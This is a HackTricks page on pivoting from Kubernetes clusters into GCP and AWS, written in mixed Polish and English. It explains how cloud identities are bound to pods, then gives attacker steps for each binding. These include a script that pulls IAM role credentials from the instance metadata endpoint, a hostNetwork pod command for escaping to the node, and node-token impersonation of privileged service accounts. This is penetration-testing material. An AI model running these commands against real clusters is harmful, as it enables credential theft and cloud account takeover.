Kubernetes Pivoting to Clouds
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
GCP
Jeśli uruchamiasz klaster k8s w GCP, prawdopodobnie będziesz chciał, aby jakaś aplikacja działająca w klastrze miała dostęp do GCP. Istnieją 2 powszechne sposoby, aby to osiągnąć:
Mounting GCP-SA keys as secret
Powszechnym sposobem nadania aplikacji w kubernetes dostępu do GCP jest:
- Create a GCP Service Account
- Przypisz mu żądane uprawnienia
- Pobierz json key utworzonego SA
- Zamontuj go jako secret wewnątrz poda
- Ustaw zmienną środowiskową GOOGLE_APPLICATION_CREDENTIALS wskazującą ścieżkę, gdzie znajduje się plik json.
Warning
Dlatego, jako attacker, jeśli przejmiesz kontener wewnątrz poda, powinieneś sprawdzić tę env variable oraz json files z GCP credentials.
Powiązywanie GSA json z KSA secret
Sposób przyznania dostępu GSA do klastra GKE polega na powiązaniu ich w następujący sposób:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
kubectl create serviceaccount <service-account-name>
- Utwórz Kubernetes Secret zawierający poświadczenia konta serwisowego GCP, któremu chcesz przyznać dostęp do klastra GKE. Możesz to zrobić za pomocą narzędzia wiersza poleceń
gcloud, jak pokazano w następującym przykładzie:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Powiąż Kubernetes Secret z Kubernetes service account przy użyciu następującego polecenia:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
Warning
W drugim kroku ustawiono poświadczenia GSA jako secret KSA. Jeśli więc możesz odczytać ten secret z wewnątrz klastra GKE, możesz eskalować do tego GCP service account.
GKE Workload Identity
Dzięki Workload Identity możemy skonfigurować a Kubernetes service account tak, aby działał jako a Google service account. Pody uruchomione z użyciem Kubernetes service account będą automatycznie uwierzytelniać się jako Google service account podczas uzyskiwania dostępu do Google Cloud APIs.
Pierwszy ciąg kroków potrzebnych do włączenia tego zachowania to enable Workload Identity in GCP (steps) i utworzenie GCP SA, którego k8s ma się podszyć.
- Enable Workload Identity na nowym klastrze
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Utwórz/Aktualizuj nowy nodepool (Autopilot clusters nie potrzebują tego)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Utwórz GCP Service Account to impersonate z K8s z uprawnieniami GCP:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Połącz się z cluster i utwórz service account, którego użyjesz
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Powiąż GSA z KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Uruchom pod z KSA i sprawdź access do GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Sprawdź poniższe polecenie, aby się uwierzytelnić w razie potrzeby:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
Warning
Jako attacker wewnątrz K8s powinieneś wyszukać SAs z adnotacją
iam.gke.io/gcp-service-account, ponieważ wskazuje ona, że SA może mieć dostęp do czegoś w GCP. Inną opcją jest spróbować abuse każdego KSA w klastrze i sprawdzić, czy ma dostęp.
Z GCP zawsze warto enumerować bindingi i wiedzieć który dostęp przyznajesz SAs wewnątrz Kubernetes.
This is a script to easily iterate over the all the pods definitions looking for that annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
Jednym z (przestarzałych) sposobów nadawania ról IAM Podom jest użycie Kiam lub Kube2IAM server. Zasadniczo trzeba uruchomić w klastrze daemonset z rodzajem uprzywilejowanej roli IAM. Ten daemonset będzie tym, który przyzna dostęp do ról IAM podom, które tego potrzebują.
Przede wszystkim musisz skonfigurować które role mogą być dostępne wewnątrz namespace, co robisz za pomocą adnotacji w obiekcie namespace:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Gdy namespace jest skonfigurowany z IAM roles, które mogą mieć Pods, możesz określić rolę, którą chcesz w definicji każdego poda, używając czegoś takiego:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
Warning
Jako atakujący, jeśli znajdziesz te annotations w pods lub namespaces lub działa serwer kiam/kube2iam (prawdopodobnie w kube-system) możesz podszyć się pod każdą role która jest już używana przez pods i więcej (jeśli masz dostęp do AWS account wyenumeruj role).
Create Pod with IAM Role
Note
Wskażona IAM role musi być w tym samym AWS account co kiam/kube2iam role i ta role musi mieć do niej dostęp.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role dla kont serwisowych K8s przez OIDC
To jest zalecany sposób przez AWS.
- Po pierwsze musisz utworzyć dostawcę OIDC dla klastra.
- Następnie tworzysz rolę IAM z uprawnieniami, których będzie wymagać SA.
- Utwórz relację zaufania między rolą IAM a SA (lub przestrzeniami nazw nadającymi dostęp do roli wszystkim SA w danej przestrzeni). Relacja zaufania będzie głównie sprawdzać nazwę dostawcy OIDC, nazwę przestrzeni nazw i nazwę SA.
- Na koniec, utwórz SA z adnotacją wskazującą ARN roli, a pody uruchomione z tym SA będą miały dostęp do tokena roli. Token jest zapisany w pliku, a ścieżka określona jest w
AWS_WEB_IDENTITY_TOKEN_FILE(domyślnie:/var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Aby uzyskać aws używając token z /var/run/secrets/eks.amazonaws.com/serviceaccount/token uruchom:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
Warning
Jako atakujący, jeśli możesz enumerować K8s cluster, sprawdź czy istnieją service accounts with that annotation aby escalate to AWS. Aby to zrobić, po prostu exec/create pod używając jednego z IAM privileged service accounts i ukradnij token.
Ponadto, jeśli jesteś wewnątrz pod, sprawdź zmienne środowiskowe takie jak AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.
Caution
Czasami Turst Policy of a role może być bad configured i zamiast przyznać AssumeRole dostęp oczekiwanemu service account, przyznaje go all the service accounts. Dlatego jeśli potrafisz zapisać adnotację na kontrolowanym service account, możesz uzyskać dostęp do role.
Check the following page for more information:
Znajdź Pods a SAs with IAM Roles in the Cluster
To skrypt umożliwiający łatwe przejście po wszystkich pods and sas definicjach w poszukiwaniu tej annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role to cluster-admin
Poprzednia sekcja dotyczyła tego, jak ukraść IAM Roles za pomocą pods, ale pamiętaj, że Node of the K8s cluster jest instancją w chmurze. Oznacza to, że Node bardzo prawdopodobnie będzie miał IAM role, które możesz ukraść (zwykle wszystkie nodes klastra K8s mają tę samą IAM role, więc może nie warto sprawdzać każdego z nich).
Aby uzyskać dostęp do node metadata endpoint musisz:
- Znajdować się w podzie i mieć metadata endpoint skonfigurowany na co najmniej 2 tcp hops. To najczęstsze błędne skonfigurowanie — zwykle różne pods w klastrze wymagają dostępu do metadata endpoint, aby nie przerywać działania, i wiele firm po prostu zezwala na dostęp do metadata endpoint z wszystkich pods w klastrze.
- Znajdować się w podzie z włączonym
hostNetwork. - Escape to the node i uzyskać bezpośredni dostęp do metadata endpoint.
(Uwaga: metadata endpoint znajduje się pod adresem 169.254.169.254, jak zawsze).
Aby escape to the node możesz użyć następującego polecenia, aby uruchomić pod z włączonym hostNetwork:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Ukradnij IAM Role Token
Wcześniej omówiliśmy, jak attach IAM Roles to Pods lub nawet jak escape to the Node to steal the IAM Role który został do niej przypisany.
Możesz użyć poniższego skryptu, aby steal swoje nowe ciężko zdobyte IAM role credentials:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
W skrócie: jeśli możliwe jest uzyskanie dostępu do EKS Node IAM role z poziomu poda, możliwe jest skompromitowanie całego kubernetes cluster.
Więcej informacji znajdziesz w this post. Podsumowując, domyślna rola IAM EKS przypisywana EKS nodes ma w klastrze rolę system:node. Ta rola jest bardzo interesująca, chociaż ograniczona przez kubernetes Node Restrictions.
Jednakże node zawsze może wygenerować tokeny dla service accounts uruchomionych w podach należących do tego node. Zatem, jeśli node uruchamia pod z uprzywilejowanym service account, node może wygenerować token dla tego service account i użyć go do podszycia się pod ten service account, tak jak w:
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
Źródła
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

